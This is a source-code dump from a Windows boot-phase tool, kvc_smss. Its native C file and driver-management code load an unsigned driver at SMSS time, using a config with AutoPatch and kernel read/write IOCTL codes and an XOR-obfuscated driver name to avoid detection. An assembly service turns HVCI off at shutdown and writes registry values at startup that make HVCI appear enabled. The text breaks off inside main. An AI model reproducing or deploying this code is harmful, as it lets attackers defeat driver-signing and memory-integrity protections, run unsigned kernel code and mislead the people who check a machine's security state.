NTSTATUS UnloadDriver(PCWSTR serviceName) {
    WCHAR fullServicePath[MAX_PATH_LEN];
    UNICODE_STRING usServiceName;
    
    // Safe path construction
    SIZE_T baseLen = wcscpy_safe(fullServicePath, MAX_PATH_LEN, 
                                  L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
    if (baseLen >= MAX_PATH_LEN - 1) return STATUS_OBJECT_NAME_INVALID;
    
    SIZE_T finalLen = wcscat_safe(fullServicePath, MAX_PATH_LEN, serviceName);
    if (finalLen >= MAX_PATH_LEN) return STATUS_OBJECT_NAME_INVALID;
    
    RtlInitUnicodeString(&usServiceName, fullServicePath);
    return NtUnloadDriver(&usServiceName);
}

<<<FILE: kvc_smss/DriverManager.h>>>
Created:  2026-05-01 21:01:16
Modified: 2026-04-10 22:00:18
Size:     0.95 KB
#ifndef DRIVER_MANAGER_H
#define DRIVER_MANAGER_H

#include "BootBypass.h"
#include "SystemUtils.h"

// Returns obfuscated driver/device name string from the assembly stealth stub.
// Decoded at runtime from a built-in XOR-encoded literal to avoid plaintext
// service name appearing in the binary image.
extern PWSTR MmGetPoolDiagnosticString(void);

// Returns TRUE if the driver for serviceName is present in the running module list.
BOOLEAN IsDriverLoaded(PCWSTR serviceName);

// Creates the SCM registry key with Type, Start, ErrorControl, ImagePath, DisplayName.
NTSTATUS CreateDriverRegistryEntry(PCWSTR serviceName, PCWSTR imagePath, PCWSTR driverType, PCWSTR startType);

// Creates registry key then calls NtLoadDriver.
NTSTATUS LoadDriver(PCWSTR serviceName, PCWSTR imagePath, PCWSTR driverType, PCWSTR startType);

// Calls NtUnloadDriver.  File and registry key must be removed separately.
NTSTATUS UnloadDriver(PCWSTR serviceName);

#endif

<<<FILE: kvc_smss/drivers.ini>>>
Created:  2026-05-01 21:01:16
Modified: 2026-04-28 09:35:45
Size:     0.58 KB
[Config]
Execute=YES
RestoreHVCI=YES
Verbose=NO
DriverDevice=\Device\kvc
IoControlCode_Read=2147491912
IoControlCode_Write=2147491916

[Driver0]
Action=LOAD
AutoPatch=YES
ServiceName=unsigned_driver
ImagePath=\SystemRoot\System32\drivers\unsigned_driver.sys
DriverType=1
StartType=1

<<<FILE: kvc_smss/FileManager.c>>>
Created:  2026-05-01 21:01:16
Modified: 2026-04-10 21:56:28
Size:     9.82 KB
// ============================================================================
// FileManager — file and directory rename/delete operations (NATIVE I/O)
//
// All I/O uses raw NT syscalls (NtOpenFile, NtSetInformationFile, etc.).
// No Win32 API is available at SMSS phase.
// Path convention: NT native namespace (\??\C:\... or \SystemRoot\...).
// ============================================================================

#include "FileManager.h"

// Rename SourcePath to TargetPath.  If TargetPath already exists and SourcePath
// does not, the rename is treated as already complete — STATUS_SUCCESS returned.
NTSTATUS ExecuteRename(PINI_ENTRY entry) {
    UNICODE_STRING usSourcePath, usTargetPath;
    OBJECT_ATTRIBUTES oa;
    IO_STATUS_BLOCK iosb;
    HANDLE hFile;
    NTSTATUS status;
    UCHAR buffer[512];
    PFILE_RENAME_INFORMATION pRename = (PFILE_RENAME_INFORMATION)buffer;

    RtlInitUnicodeString(&usSourcePath, entry->SourcePath);
    RtlInitUnicodeString(&usTargetPath, entry->TargetPath);

    // Check if target already exists
    InitializeObjectAttributes(&oa, &usTargetPath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
    status = NtOpenFile(&hFile, FILE_READ_DATA | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT);
    if (NT_SUCCESS(status)) {
        NtClose(hFile);
        // Target exists, check if source exists
        InitializeObjectAttributes(&oa, &usSourcePath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
        status = NtOpenFile(&hFile, FILE_READ_DATA | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT);
        if (!NT_SUCCESS(status)) { 
            DisplayMessage(L"SKIPPED: Rename complete\r\n"); 
            return STATUS_SUCCESS; 
        }
        NtClose(hFile);
    }

    // Open source for rename
    InitializeObjectAttributes(&oa, &usSourcePath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
    status = NtOpenFile(&hFile, DELETE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_FOR_BACKUP_INTENT | FILE_SYNCHRONOUS_IO_NONALERT);
    if (!NT_SUCCESS(status)) return status;

    // Prepare rename structure with bounds check
    SIZE_T targetLenBytes = usTargetPath.Length;
    SIZE_T requiredSize = sizeof(FILE_RENAME_INFORMATION) + targetLenBytes;
    
    if (requiredSize > sizeof(buffer)) {
        NtClose(hFile);
        DisplayMessage(L"FAILED: Target path too long for rename\r\n");
        return STATUS_BUFFER_TOO_SMALL;
    }
    
    memset_impl(buffer, 0, sizeof(buffer));
    pRename->ReplaceIfExists = entry->ReplaceIfExists ? 1 : 0;
    pRename->FileNameLength = (ULONG)usTargetPath.Length;
    
    SIZE_T charCount = usTargetPath.Length / sizeof(WCHAR);
    for (ULONG i = 0; i < charCount; i++) {
        pRename->FileName[i] = usTargetPath.Buffer[i];
    }

    status = NtSetInformationFile(hFile, &iosb, pRename, (ULONG)requiredSize - sizeof(WCHAR), 10);
    NtClose(hFile);
    
    if (NT_SUCCESS(status)) {
        DisplayMessage(L"SUCCESS: File renamed\r\n");
    }
    return status;
}

// Returns TRUE if the NtQueryDirectoryFile entry name is "." or "..".
// nameLen is in bytes (FileNameLength field of FILE_DIRECTORY_INFORMATION).
BOOLEAN IsDotDirectory(PWSTR name, ULONG nameLen) {
    if (nameLen == sizeof(WCHAR) && name[0] == L'.') return TRUE;
    if (nameLen == 2 * sizeof(WCHAR) && name[0] == L'.' && name[1] == L'.') return TRUE;
    return FALSE;
}

// Recursively deletes all contents of dirPath, then deletes dirPath itself.
// Subdirectories are deleted depth-first.  Returns STATUS_SUCCESS even if
// some entries could not be deleted (best-effort).
NTSTATUS DeleteDirectoryRecursive(PUNICODE_STRING dirPath) {
    OBJECT_ATTRIBUTES oa;
    IO_STATUS_BLOCK iosb;
    HANDLE hDir;
    NTSTATUS status;
    UCHAR buffer[4096];
    PFILE_DIRECTORY_INFORMATION dirInfo;
    BOOLEAN firstQuery = TRUE;

    InitializeObjectAttributes(&oa, dirPath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
    status = NtOpenFile(&hDir, FILE_LIST_DIRECTORY | DELETE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_OPEN_FOR_BACKUP_INTENT);
    if (!NT_SUCCESS(status)) return status;

    while (TRUE) {
        memset_impl(buffer, 0, sizeof(buffer));
        status = NtQueryDirectoryFile(hDir, NULL, NULL, NULL, &iosb, buffer, sizeof(buffer), FileDirectoryInformation, FALSE, NULL, firstQuery);
        if (status == 0x80000006 || !NT_SUCCESS(status)) break;
        firstQuery = FALSE;
        dirInfo = (PFILE_DIRECTORY_INFORMATION)buffer;

        while (TRUE) {
            if (!IsDotDirectory(dirInfo->FileName, dirInfo->FileNameLength)) {
                WCHAR fullPath[MAX_PATH_LEN];
                UNICODE_STRING usFullPath;
                
                // Safe path construction with bounds checking
                SIZE_T baseLen = UnicodeStringCopySafe(fullPath, MAX_PATH_LEN, dirPath);
                if (baseLen >= MAX_PATH_LEN - 1) {
                    NtClose(hDir);
                    return STATUS_BUFFER_TOO_SMALL;
                }
                
                SIZE_T afterSlash = wcscat_safe(fullPath, MAX_PATH_LEN, L"\\");
                if (afterSlash >= MAX_PATH_LEN) {
                    NtClose(hDir);
                    return STATUS_BUFFER_TOO_SMALL;
                }
                
                // Append filename with length validation
                ULONG fnChars = dirInfo->FileNameLength / sizeof(WCHAR);
                SIZE_T currentLen = wcslen(fullPath);
                
                if (!validate_string_space(currentLen, fnChars, MAX_PATH_LEN)) {
                    NtClose(hDir);
                    return STATUS_BUFFER_TOO_SMALL;
                }
                
                for (ULONG i = 0; i < fnChars; i++) {
                    fullPath[currentLen + i] = dirInfo->FileName[i];
                }
                fullPath[currentLen + fnChars] = 0;
                
                RtlInitUnicodeString(&usFullPath, fullPath);

                // Recursively delete subdirectories
                if (dirInfo->FileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
                    DeleteDirectoryRecursive(&usFullPath);
                }

                // Delete file/directory
                OBJECT_ATTRIBUTES oaItem;
                HANDLE hItem;
                InitializeObjectAttributes(&oaItem, &usFullPath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
                status = NtOpenFile(&hItem, DELETE | SYNCHRONIZE, &oaItem, &iosb, FILE_SHARE_DELETE, FILE_OPEN_FOR_BACKUP_INTENT | FILE_SYNCHRONOUS_IO_NONALERT);
                if (NT_SUCCESS(status)) {
                    FILE_DISPOSITION_INFORMATION dispInfo; 
                    dispInfo.DeleteFile = TRUE;
                    NtSetInformationFile(hItem, &iosb, &dispInfo, sizeof(dispInfo), 13);
                    NtClose(hItem);
                }
            }
            if (dirInfo->NextEntryOffset == 0) break;
            dirInfo = (PFILE_DIRECTORY_INFORMATION)((UCHAR*)dirInfo + dirInfo->NextEntryOffset);
        }
    }
    
    NtClose(hDir);
    
    // Delete the directory itself
    InitializeObjectAttributes(&oa, dirPath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
    status = NtOpenFile(&hDir, DELETE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_DELETE, FILE_DIRECTORY_FILE | FILE_OPEN_FOR_BACKUP_INTENT | FILE_SYNCHRONOUS_IO_NONALERT);
    if (NT_SUCCESS(status)) {
        FILE_DISPOSITION_INFORMATION dispInfo; 
        dispInfo.DeleteFile = TRUE;
        NtSetInformationFile(hDir, &iosb, &dispInfo, sizeof(dispInfo), 13);
        NtClose(hDir);
    }
    return STATUS_SUCCESS;
}

// Delete DeletePath (file or directory).
// For directories: if RecursiveDelete=YES, calls DeleteDirectoryRecursive;
// otherwise attempts a simple directory delete (fails if not empty).
NTSTATUS ExecuteDelete(PINI_ENTRY entry) {
    UNICODE_STRING usPath;
    OBJECT_ATTRIBUTES oa;
    IO_STATUS_BLOCK iosb;
    HANDLE hFile;
    NTSTATUS status;
    FILE_DISPOSITION_INFORMATION dispInfo;
    RtlInitUnicodeString(&usPath, entry->DeletePath);
    InitializeObjectAttributes(&oa, &usPath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
    status = NtOpenFile(&hFile, DELETE | FILE_READ_ATTRIBUTES | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_FOR_BACKUP_INTENT | FILE_SYNCHRONOUS_IO_NONALERT);
    if (!NT_SUCCESS(status)) return status;

    FILE_STANDARD_INFORMATION fileInfo;
    memset_impl(&fileInfo, 0, sizeof(fileInfo));
    status = NtQueryInformationFile(hFile, &iosb, &fileInfo, sizeof(fileInfo), FileStandardInformation);

    if (NT_SUCCESS(status) && fileInfo.Directory) {
        NtClose(hFile);
        if (entry->RecursiveDelete) {
            status = DeleteDirectoryRecursive(&usPath);
            if (NT_SUCCESS(status)) DisplayMessage(L"SUCCESS: Tree deleted\r\n");
        } else {
            status = NtOpenFile(&hFile, DELETE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_DELETE, FILE_DIRECTORY_FILE | FILE_OPEN_FOR_BACKUP_INTENT | FILE_SYNCHRONOUS_IO_NONALERT);
            if (NT_SUCCESS(status)) {
                dispInfo.DeleteFile = TRUE;
                status = NtSetInformationFile(hFile, &iosb, &dispInfo, sizeof(dispInfo), 13);
                NtClose(hFile);
                if (NT_SUCCESS(status)) DisplayMessage(L"SUCCESS: Directory deleted\r\n");
            }
        }
    } else {
        dispInfo.DeleteFile = TRUE;
        status = NtSetInformationFile(hFile, &iosb, &dispInfo, sizeof(dispInfo), 13);
        NtClose(hFile);
        if (NT_SUCCESS(status)) DisplayMessage(L"SUCCESS: File deleted\r\n");
    }
    return status;
}

<<<FILE: kvc_smss/FileManager.h>>>
Created:  2026-05-01 21:01:16
Modified: 2026-04-10 21:59:59
Size:     0.4 KB
#ifndef FILE_MANAGER_H
#define FILE_MANAGER_H

#include "BootBypass.h"
#include "SystemUtils.h"

// Rename SourcePath to TargetPath (NtSetInformationFile rename).
// Skips silently when target exists but source is already gone.
NTSTATUS ExecuteRename(PINI_ENTRY entry);

// Delete DeletePath.  For directories, recurses when RecursiveDelete=YES.
NTSTATUS ExecuteDelete(PINI_ENTRY entry);

#endif

<<<FILE: kvc_smss/HvciShutdownSvc.asm>>>
Created:  2026-05-03 00:40:55
Modified: 2026-05-03 00:16:17
Size:     17.73 KB
; Build instructions (run in x64 Native Tools Command Prompt):
;   ml64.exe /c /Cx HvciShutdownSvc.asm
;   link.exe /SUBSYSTEM:CONSOLE /MACHINE:X64 /ENTRY:main HvciShutdownSvc.obj kernel32.lib

extrn LoadLibraryA:proc
extrn GetProcAddress:proc
extrn CreateThread:proc
extrn CreateEventA:proc
extrn SetEvent:proc
extrn WaitForSingleObject:proc
extrn CloseHandle:proc
extrn ExitProcess:proc

.data
    align 8

    ; --- Global state ---
    gSvcStatus          db 28 dup(0)    ; SERVICE_STATUS structure (28 bytes)
    gSvcStatusHandle    dq 0            ; SERVICE_STATUS_HANDLE (8 bytes)
    ghSvcStopEvent      dq 0            ; Stop-event HANDLE (8 bytes)

    ; --- Function pointers resolved at runtime from advapi32.dll ---
    pRegisterServiceCtrlHandlerEx dq 0
    pSetServiceStatus             dq 0
    pStartServiceCtrlDispatcher   dq 0
    pRegOpenKeyExA                dq 0
    pRegQueryValueExA             dq 0
    pRegSetValueExA               dq 0
    pRegCloseKey                  dq 0

    ; --- Function pointer resolved at runtime from ntdll.dll ---
    pNtQuerySystemInformation     dq 0

    ; --- Strings ---
    advapi32_name   db "advapi32.dll", 0
    ntdll_name      db "ntdll.dll", 0
    fn_Register     db "RegisterServiceCtrlHandlerExA", 0
    fn_SetStatus    db "SetServiceStatus", 0
    fn_StartDisp    db "StartServiceCtrlDispatcherA", 0
    fn_RegOpen      db "RegOpenKeyExA", 0
    fn_RegQuery     db "RegQueryValueExA", 0
    fn_RegSet       db "RegSetValueExA", 0
    fn_RegClose     db "RegCloseKey", 0
    fn_NtQuery      db "NtQuerySystemInformation", 0

    svcName         db "HvciShutdownSvc", 0
    regKey          db "SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity", 0
    valName                 db "Enabled", 0
    valNameWasEnabledBy     db "WasEnabledBy", 0
    valNameChangedInBootCycle db "ChangedInBootCycle", 0

.code

; ---------------------------------------------------------
; static void DoShutdownAction(void)
;
; Opens the HVCI registry key and sets "Enabled" = 0,
; then closes the key.
;
; Stack layout (after push rbp / mov rbp, rsp / sub rsp, 64):
;
;   [rbp + 8]  -- return address
;   [rbp + 0]  -- saved rbp
;   [rbp -  8] -- hKey  (HKEY, 8 bytes)
;   [rbp - 12] -- val   (DWORD, 4 bytes) = 0
;   [rbp - 16] -- <4-byte pad>
;   [rbp - 32] -- [rsp+32] 5th argument slot
;   [rbp - 24] -- [rsp+40] 6th argument slot
;   ---- rsp is here (rbp - 64) ----
;   [rsp +  0]..[rsp + 31]  -- shadow space for args 1-4
;
; Alignment: before call RSP%16==0, after call RSP%16==8,
; after push rbp RSP%16==0, after sub rsp,64 RSP%16==0. Correct.
; N must be multiple of 16 after push rbp. 64%16==0. OK! :)
; The previous sub rsp, 48 caused [rsp+32]=[rbp-16] to overlap
; val at [rbp-12], writing garbage (stack address low bits) to registry.
; ---------------------------------------------------------
DoShutdownAction proc
    push rbp
    mov rbp, rsp
    ; 32 bytes shadow space + 16 bytes for two extra arg slots (args 5-6)
    ; + 12 bytes for locals (hKey=8, val=4) + 4 bytes pad = 64 bytes.
    ; N must be a multiple of 16 (after push rbp RSP is already 16-aligned).
    ; 64 % 16 == 0. Correct.
    sub rsp, 64

    ; --- Open registry key ---
    ; RegOpenKeyExA(HKEY_LOCAL_MACHINE, regKey, 0, KEY_SET_VALUE, &hKey)
    mov rcx, 0FFFFFFFF80000002h     ; HKEY_LOCAL_MACHINE
    lea rdx, regKey                 ; subkey path
    xor r8, r8                      ; ulOptions = 0
    mov r9, 2                       ; samDesired = KEY_SET_VALUE (0x0002)
    lea rax, [rbp-8]                ; address of local hKey
    mov [rsp+32], rax               ; 5th arg on stack (= [rbp-24], safe)
    call qword ptr [pRegOpenKeyExA]
    test eax, eax
    jnz _done                       ; non-zero means failure; bail out

    ; --- Write value ---
    ; RegSetValueExA(hKey, "Enabled", 0, REG_DWORD, &val, sizeof(val))
    mov dword ptr [rbp-12], 0       ; val = 0  (disable HVCI)

    mov rcx, [rbp-8]                ; hKey
    lea rdx, valName                ; "Enabled"
    xor r8, r8                      ; Reserved = 0
    mov r9, 4                       ; dwType = REG_DWORD
    lea rax, [rbp-12]               ; &val  (now safe: [rbp-12] is above [rbp-24])
    mov [rsp+32], rax               ; 5th arg (= [rbp-24])
    mov qword ptr [rsp+40], 4       ; 6th arg = cbData = sizeof(DWORD) (= [rbp-16], safe)
    call qword ptr [pRegSetValueExA]
    ; Point 3: stash result before RegCloseKey clobbers eax
    mov dword ptr [rbp-16], eax     ; save return code in pad slot

    ; --- Close the key regardless of write outcome ---
    mov rcx, [rbp-8]                ; hKey
    call qword ptr [pRegCloseKey]

    ; Check whether RegSetValueExA returned ERROR_SUCCESS (0)
    cmp dword ptr [rbp-16], 0
    ; ZF=1 on success; no action needed here — key is already closed

_done:
    add rsp, 64
    pop rbp
    ret
DoShutdownAction endp

; ---------------------------------------------------------
; static void DoStartupAction(void)
;
; Called when the service starts (SERVICE_RUNNING).
; Uses NtQuerySystemInformation(SystemTimeOfDayInformation)
; to obtain the precise kernel boot time (same source as the
; _lux PowerShell script), then:
;   Enabled            = 1  (REG_DWORD)  — always written
;   WasEnabledBy       = 2  (REG_DWORD)  — always written
;   ChangedInBootCycle        (REG_QWORD) — written ONLY when
;       the current registry value differs from BootTime
;
; Stack layout (sub rsp, 128):
;
;   [rbp -  8]         -- hKey  (HKEY, 8 bytes)
;   [rbp - 12]         -- val   (DWORD, 4 bytes)   ← Enabled / WasEnabledBy
;   [rbp - 16]         -- retLen (int, 4 bytes)     ← NtQuery out-param
;   [rbp - 64]         -- timeInfo (48 bytes)       ← SYSTEM_TIMEOFDAY_INFORMATION
;                          .BootTime    at [rbp-64] (LARGE_INTEGER, 8 bytes)
;                          .CurrentTime at [rbp-56]
;                          ... (remaining 32 bytes)
;   [rbp - 72]         -- existingBootTime (8 bytes) ← RegQueryValueExA output
;   [rbp - 76]         -- cbData (DWORD, 4 bytes)    ← RegQueryValueExA size param
;
;   [rsp +  0..31]     -- shadow space (args 1-4)
;   [rsp + 32]         -- 5th argument slot  (= [rbp-96])
;   [rsp + 40]         -- 6th argument slot  (= [rbp-88])
;   rsp = rbp - 128
;
; 128 % 16 == 0.  Correct.
; ---------------------------------------------------------
DoStartupAction proc
    push rbp
    mov rbp, rsp
    sub rsp, 128

    ; --- Query kernel boot time via NtQuerySystemInformation ---
    ; NtQuerySystemInformation(
    ;     SystemTimeOfDayInformation = 3,
    ;     &timeInfo,
    ;     sizeof(SYSTEM_TIMEOFDAY_INFORMATION) = 48,
    ;     &retLen)
    mov ecx, 3                          ; SystemTimeOfDayInformation
    lea rdx, [rbp-64]                   ; &timeInfo
    mov r8d, 48                         ; buffer size
    lea r9,  [rbp-16]                   ; &retLen
    call qword ptr [pNtQuerySystemInformation]
    test eax, eax
    jnz _startup_done                   ; NTSTATUS != STATUS_SUCCESS → bail

    ; timeInfo.BootTime is now valid at [rbp-64] (first LARGE_INTEGER field).

    ; --- Open registry key ---
    ; RegOpenKeyExA(HKEY_LOCAL_MACHINE, regKey, 0,
    ;               KEY_QUERY_VALUE|KEY_SET_VALUE (0x0003), &hKey)
    mov rcx, 0FFFFFFFF80000002h         ; HKEY_LOCAL_MACHINE
    lea rdx, regKey
    xor r8, r8                          ; ulOptions = 0
    mov r9, 3                           ; KEY_QUERY_VALUE | KEY_SET_VALUE
    lea rax, [rbp-8]                    ; &hKey
    mov [rsp+32], rax
    call qword ptr [pRegOpenKeyExA]
    test eax, eax
    jnz _startup_done                   ; open failed → bail

    ; --- Write Enabled = 1  (always) ---
    mov dword ptr [rbp-12], 1
    mov rcx, [rbp-8]                    ; hKey
    lea rdx, valName                    ; "Enabled"
    xor r8, r8                          ; Reserved
    mov r9, 4                           ; REG_DWORD
    lea rax, [rbp-12]                   ; &val
    mov [rsp+32], rax
    mov qword ptr [rsp+40], 4           ; cbData = 4
    call qword ptr [pRegSetValueExA]

    ; --- Write WasEnabledBy = 2  (always) ---
    mov dword ptr [rbp-12], 2
    mov rcx, [rbp-8]                    ; hKey
    lea rdx, valNameWasEnabledBy        ; "WasEnabledBy"
    xor r8, r8
    mov r9, 4                           ; REG_DWORD
    lea rax, [rbp-12]                   ; &val
    mov [rsp+32], rax
    mov qword ptr [rsp+40], 4
    call qword ptr [pRegSetValueExA]

    ; --- Conditionally write ChangedInBootCycle ---
    ; Read current registry value; write only when it differs from BootTime.
    mov dword ptr [rbp-76], 8           ; cbData = sizeof(QWORD)
    mov qword ptr [rbp-72], 0           ; existingBootTime = 0 (safe init)
    mov rcx, [rbp-8]                    ; hKey
    lea rdx, valNameChangedInBootCycle  ; "ChangedInBootCycle"
    xor r8, r8                          ; lpReserved = NULL
    xor r9, r9                          ; lpType     = NULL (don't need it)
    lea rax, [rbp-72]                   ; &existingBootTime
    mov [rsp+32], rax
    lea rax, [rbp-76]                   ; &cbData
    mov [rsp+40], rax
    call qword ptr [pRegQueryValueExA]
    ; If query failed (value missing) → write unconditionally
    test eax, eax
    jnz _write_boot_cycle
    ; Query succeeded → compare existing QWORD with our BootTime
    mov rax, [rbp-72]                   ; existing value from registry
    cmp rax, [rbp-64]                   ; compare with timeInfo.BootTime
    je  _skip_boot_cycle                ; identical → skip write

_write_boot_cycle:
    mov rcx, [rbp-8]                    ; hKey
    lea rdx, valNameChangedInBootCycle  ; "ChangedInBootCycle"
    xor r8, r8
    mov r9, 0Bh                         ; REG_QWORD = 11 = 0x0B
    lea rax, [rbp-64]                   ; &timeInfo.BootTime (still on stack)
    mov [rsp+32], rax
    mov qword ptr [rsp+40], 8           ; cbData = 8
    call qword ptr [pRegSetValueExA]

_skip_boot_cycle:
    ; --- Close the key ---
    mov rcx, [rbp-8]
    call qword ptr [pRegCloseKey]

_startup_done:
    add rsp, 128
    pop rbp
    ret
DoStartupAction endp

; ---------------------------------------------------------
; static DWORD WINAPI ShutdownThread(void* param)
;
; Worker thread: performs the shutdown action, then
; reports SERVICE_STOPPED and signals the stop event.
; ---------------------------------------------------------
ShutdownThread proc
    push rbp
    mov rbp, rsp
    sub rsp, 32                     ; shadow space only; no extra args or locals needed

    call DoShutdownAction

    ; Report SERVICE_STOPPED (1)
    mov dword ptr [gSvcStatus + 4],  1      ; dwCurrentState  = SERVICE_STOPPED
    mov dword ptr [gSvcStatus + 20], 0     ; dwCheckPoint    = 0
    mov dword ptr [gSvcStatus + 24], 0     ; dwWaitHint      = 0

    mov rcx, [gSvcStatusHandle]
    lea rdx, gSvcStatus
    call qword ptr [pSetServiceStatus]

    ; Signal the stop event if it was created
    mov rcx, [ghSvcStopEvent]
    test rcx, rcx
    jz _skip_event
    call SetEvent

_skip_event:
    xor eax, eax                    ; return 0
    add rsp, 32
    pop rbp
    ret
ShutdownThread endp

; ---------------------------------------------------------
; static DWORD WINAPI SvcCtrlHandler(
;     DWORD dwCtrl, DWORD dwEventType,
;     void* lpEventData, void* lpContext)
;
; Handles SERVICE_CONTROL_STOP / SHUTDOWN / PRESHUTDOWN:
; transitions to STOP_PENDING and spins up ShutdownThread.
; ---------------------------------------------------------
SvcCtrlHandler proc
    push rbp
    mov rbp, rsp
    sub rsp, 64                     ; 32 shadow + 16 for CreateThread args 5-6 + 16 pad

    cmp ecx, 0Fh                    ; SERVICE_CONTROL_PRESHUTDOWN
    je  _shutdown
    cmp ecx, 5                      ; SERVICE_CONTROL_SHUTDOWN
    je  _shutdown
    cmp ecx, 1                      ; SERVICE_CONTROL_STOP
    je  _shutdown
    jmp _default

_shutdown:
    ; Transition to SERVICE_STOP_PENDING (3)
    mov dword ptr [gSvcStatus + 4],  3      ; dwCurrentState = STOP_PENDING
    mov dword ptr [gSvcStatus + 20], 1     ; dwCheckPoint   = 1
    mov dword ptr [gSvcStatus + 24], 3000  ; dwWaitHint     = 3000 ms

    mov rcx, [gSvcStatusHandle]
    lea rdx, gSvcStatus
    call qword ptr [pSetServiceStatus]

    ; Spawn worker thread to do the actual work without blocking SCM
    ; CreateThread(NULL, 0, ShutdownThread, NULL, 0, NULL)
    xor rcx, rcx                    ; lpThreadAttributes = NULL
    xor rdx, rdx                    ; dwStackSize        = 0 (default)
    lea r8,  ShutdownThread         ; lpStartAddress
    xor r9,  r9                     ; lpParameter        = NULL
    mov qword ptr [rsp+32], 0       ; dwCreationFlags    = 0
    mov qword ptr [rsp+40], 0       ; lpThreadId         = NULL
    call CreateThread
    ; Point 4: close the thread handle — kernel keeps the thread alive,
    ; but leaving the handle open leaks a kernel object in this process.
    test rax, rax
    jz _thread_done
    mov rcx, rax
    call CloseHandle
_thread_done:

    xor eax, eax
    jmp _end

_default:
    ; For any unhandled control code just refresh the status
    mov rcx, [gSvcStatusHandle]
    lea rdx, gSvcStatus
    call qword ptr [pSetServiceStatus]
    xor eax, eax

_end:
    add rsp, 64
    pop rbp
    ret
SvcCtrlHandler endp

; ---------------------------------------------------------
; static void WINAPI SvcMain(DWORD dwArgc, LPTSTR* lpszArgv)
;
; Entry point called by the SCM. Creates the stop event,
; registers the control handler, reports RUNNING, then
; re-enables HVCI (DoStartupAction), and finally waits
; until the stop event is signalled.
; ---------------------------------------------------------
SvcMain proc
    push rbp
    mov rbp, rsp
    sub rsp, 64                     ; 32 shadow + 16 alignment pad

    ; Create the manual-reset event that ShutdownThread will signal
    ; CreateEventA(NULL, TRUE /*manual reset*/, FALSE /*not signalled*/, NULL)
    xor rcx, rcx
    mov rdx, 1
    xor r8,  r8
    xor r9,  r9
    call CreateEventA
    mov [ghSvcStopEvent], rax

    ; Register our control handler with the SCM
    ; RegisterServiceCtrlHandlerExA("HvciShutdownSvc", SvcCtrlHandler, NULL)
    lea rcx, svcName
    lea rdx, SvcCtrlHandler
    xor r8, r8
    xor r9, r9
    call qword ptr [pRegisterServiceCtrlHandlerEx]
    mov [gSvcStatusHandle], rax

    ; Fill in the SERVICE_STATUS structure
    mov dword ptr [gSvcStatus +  0], 10h    ; dwServiceType      = SERVICE_WIN32_OWN_PROCESS
    mov dword ptr [gSvcStatus +  4], 4      ; dwCurrentState     = SERVICE_RUNNING
    mov dword ptr [gSvcStatus +  8], 105h   ; dwControlsAccepted = STOP|SHUTDOWN|PRESHUTDOWN
    mov dword ptr [gSvcStatus + 12], 0      ; dwWin32ExitCode    = 0
    mov dword ptr [gSvcStatus + 16], 0      ; dwServiceSpecificExitCode = 0
    mov dword ptr [gSvcStatus + 20], 0      ; dwCheckPoint       = 0
    mov dword ptr [gSvcStatus + 24], 0      ; dwWaitHint         = 0

    mov rcx, [gSvcStatusHandle]
    lea rdx, gSvcStatus
    call qword ptr [pSetServiceStatus]

    ; Re-enable HVCI immediately after reporting SERVICE_RUNNING.
    ; Uses NtQuerySystemInformation(SystemTimeOfDayInformation) for the
    ; precise kernel BootTime — identical approach to hvci_pseudo_wlaczanie_lux.ps1.
    ; Writes: Enabled=1, WasEnabledBy=2, ChangedInBootCycle=BootTime.
    call DoStartupAction

    ; Block until ShutdownThread signals the stop event
    mov rcx, [ghSvcStopEvent]
    mov rdx, 0FFFFFFFFh             ; INFINITE
    call WaitForSingleObject

    ; Clean up and return to the dispatcher
    mov rcx, [ghSvcStopEvent]
    call CloseHandle

    add rsp, 64
    pop rbp
    ret
SvcMain endp

; ---------------------------------------------------------
; int main(void)
;
; Loads advapi32.dll and ntdll.dll, resolves all needed
; function pointers, builds the service table, and hands
; control to the SCM.
; ---------------------------------------------------------
main proc
    push rbp
    mov rbp, rsp
    ; 32 shadow + 8 for hAdv local + 8 for hNtdll local
    ; + 32 for SERVICE_TABLE_ENTRY[2] + 8 pad = 88
    ; 88 % 16 == 8 — not aligned!  Use 96 instead. 96 % 16 == 0. OK.
    sub rsp, 96

    ; --- Load advapi32.dll and resolve its six functions ---
    lea rcx, advapi32_name
    call LoadLibraryA
    mov [rbp-8], rax                ; hAdv = module handle

    mov rcx, [rbp-8]
    lea rdx, fn_Register
    call GetProcAddress
    mov [pRegisterServiceCtrlHandlerEx], rax

    mov rcx, [rbp-8]
    lea rdx, fn_SetStatus
    call GetProcAddress
    mov [pSetServiceStatus], rax

    mov rcx, [rbp-8]
    lea rdx, fn_StartDisp
    call GetProcAddress
    mov [pStartServiceCtrlDispatcher], rax

    mov rcx, [rbp-8]
    lea rdx, fn_RegOpen
    call GetProcAddress
    mov [pRegOpenKeyExA], rax

    mov rcx, [rbp-8]
    lea rdx, fn_RegQuery
    call GetProcAddress
    mov [pRegQueryValueExA], rax

    mov rcx, [rbp-8]
    lea rdx, fn_RegSet
    call GetProcAddress
    mov [pRegSetValueExA], rax

    mov rcx, [rbp-8]
    lea rdx, fn_RegClose
    call GetProcAddress
    mov [pRegCloseKey], rax

